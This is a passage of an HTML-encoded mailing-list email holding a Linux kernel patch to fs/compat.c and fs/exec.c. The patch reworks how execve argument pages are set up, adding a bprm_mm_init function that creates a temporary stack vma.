;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;go=
to out;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; new =3D 1;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp; }<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=
f (page !=3D kmapped_page) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped=
_page)
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped_page) {<br>&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;k=
unmap(kmapped_page);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; put_page(kmapped_page);<br>+&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; }
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kmapped_page =3D page;<br>&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kaddr =3D kmap(kmapped_page);<br>+&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; kpos =3D pos &amp; PAGE_MASK;<br>&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (new &amp;&amp; offset)
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(kaddr, 0, offset);<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy =3D PAGE_SIZ=
E - offset;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=
f (bytes_to_copy &gt; len) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_co=
py =3D len;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (new)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(kaddr+offset+le=
n, 0,<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAGE_SIZE-off=
set-len);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<b=
r>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err =3D copy_fro=
m_user(kaddr+offset, compat_ptr(str),<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; bytes_to_copy);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; if (err) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; if (copy_from_user(kaddr+offset, compat_ptr(str),
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy)) {<=
br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret =3D -EFAULT;<br>&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos +=3D bytes_to_copy;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str +=3D byt=
es_to_copy;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; l=
en -=3D bytes_to_copy;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;ret =3D 0;<br> out:<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped=
_page)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped_page) {
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;kunmap(kmapped_page);<br>-&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; return ret;<br>-}<br>-<br>-#ifdef CONFIG_MMU<br>-<br>-#define =
free_arg_pages(bprm) do { } while (0)<br>-<br>-#else<br>-<br>-static inline=
 void free_arg_pages(struct linux_binprm *bprm)
<br>-{<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<br>-<br>-&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp; for (i =3D 0; i &lt; MAX_ARG_PAGES; i++) {<br>-&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; if (bprm-&gt;page[i])<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; __free_page(bprm-&gt;page[i]);<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;page=
[i] =3D NULL;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; put_page(kmapped_page);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;}<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;<br> }=
<br><br>-#endif /* CONFIG_MMU */<br>-<br> /*<br>&nbsp;&nbsp;* compat_do_exe=
cve() is mostly a copy of do_execve(), with the exception<br>&nbsp;&nbsp;* =
that it processes 32 bit argv and envp pointers.
<br>@@ -1495,7 +1476,6 @@ int compat_do_execve(char * filename,<br>&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct linux_binprm *bprm;<br>&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct file *file;<br>&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int retval;<br>-&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; int i;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;retval =3D -ENOMEM;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b=
prm =3D kzalloc(sizeof(*bprm), GFP_KERNEL);
<br>@@ -1509,24 +1489,19 @@ int compat_do_execve(char * filename,<br><br>&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sched_exec();<br><br>-&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;p =3D PAGE_SIZE*MAX_ARG_PAGES-sizeof=
(void *);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;file =
=3D file;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;filen=
ame =3D filename;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;interp =3D fil=
ename;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;mm =3D mm_alloc();=
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D -ENOMEM;<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; if (!bprm-&gt;mm)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto out_file;<=
br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D init_new_context(cu=
rrent, bprm-&gt;mm);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (retval &lt; 0)<br>-&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
goto out_mm;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D bprm_mm_in=
it(bprm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (retval)<br>+&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; goto out_file;<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;argc=
 =3D compat_count(argv, bprm-&gt;p / sizeof(compat_uptr_t));
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;argc =3D compat_count(ar=
gv, MAX_ARG_STRINGS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if=
 ((retval =3D bprm-&gt;argc) &lt; 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out_mm;<b=
r><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;envc =3D compat_count(=
envp, bprm-&gt;p / sizeof(compat_uptr_t));
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;envc =3D compat_count(en=
vp, MAX_ARG_STRINGS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if=
 ((retval =3D bprm-&gt;envc) &lt; 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out_mm;<b=
r><br>@@ -1551,10 +1526,8 @@ int compat_do_execve(char * filename,<br>&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (retval &lt; 0)
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;goto out;<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; retval =3D search_binary_handler(bprm, regs);<br>+&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; retval =3D search_binary_handler(bprm,regs);<br>&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (retval &gt;=3D 0) {<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 free_arg_pages(bprm);<br>-
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;/* execve success */<br>&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;secur=
ity_bprm_free(bprm);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;acct_update_integrals(current)=
;<br>@@ -1563,19 +1536,12 @@ int compat_do_execve(char * filename,<br>&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>
 out:<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Something went wrong, ret=
urn the inode and free the argument pages*/<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; for (i =3D 0 ; i &lt; MAX_ARG_PAGES ; i++) {<br>-&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct=
 page * page =3D bprm-&gt;page[i];<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (page)
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __free_page(=
page);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>-<br>&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;security)<br>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;security_bprm_free(bprm);<br><br> out_mm:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;mm)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mmdrop(bprm-&gt;mm);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; mmput (bprm-&gt;mm);<br><br> out_file:<br>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;file) {<br>Index: linux/fs/exec.=
c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>--- linux.orig=
/fs/exec.c<br>+++ linux/fs/exec.c
<br>@@ -174,6 +174,79 @@ exit:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;goto out;<br> }<br><br>+#ifdef CONFIG_STACK_GROWSUP<br>+#error I bro=
ke your build because I rearchitected the stack code, and I \<br>+&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; don&#39;t have access to an architecture where =
CONFIG_STACK_GROWSUP is \
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set.&nbsp;&nbsp;Please fixe this =
or send me a machine which I can test this on. \<br>+&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; \<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- Ollie Wild &lt=
;<a href=3D"mailto:aaw@google.com">aaw@google.com</a>&gt;<br>+#endif<br>+<b=
r>+/* Create a new mm_struct and populate it with a temporary stack
<br>+ * vm_area_struct.&nbsp;&nbsp;We don&#39;t have enough context at this=
 point to set the<br>+ * stack flags, permissions, and offset, so we use te=
mporary values.&nbsp;&nbsp;We&#39;ll<br>+ * update them later in setup_arg_=
pages(). */<br>+int bprm_mm_init(struct linux_binprm *bprm)
<br>+{<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int err;<br>+&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; struct mm_struct *mm =3D NULL;<br>+&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; struct vm_area_struct *vma =3D NULL;<br>+<br>+&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;mm =3D mm =3D mm_alloc();<br>+&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; err =3D -ENOMEM;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; if (!mm)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto err;
<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((err =3D init_new_contex=
t(current, mm)))<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto err;<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; bprm-&gt;vma =3D vma =3D kmem_cache_zalloc(vm_area_cachep, GFP_=
KERNEL);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err =3D -ENOMEM;<br>+&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!vma)<br>
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; goto err;<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; down_wri=
te(&amp;mm-&gt;mmap_sem);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>+&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; vma-&gt;vm_mm =3D mm;<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Place the stack at the =
top of user memory.&nbsp;&nbsp;Later, we&#39;ll<br>+&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* =
move this to an appropriate place.&nbsp;&nbsp;We don&#39;t use STACK_TOP
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;* because that can depend on attributes which are=
n&#39;t<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* configured yet. */<br>+&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt=
;vm_end =3D TASK_SIZE;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_start =3D vma-&gt;vm_end - =
PAGE_SIZE;
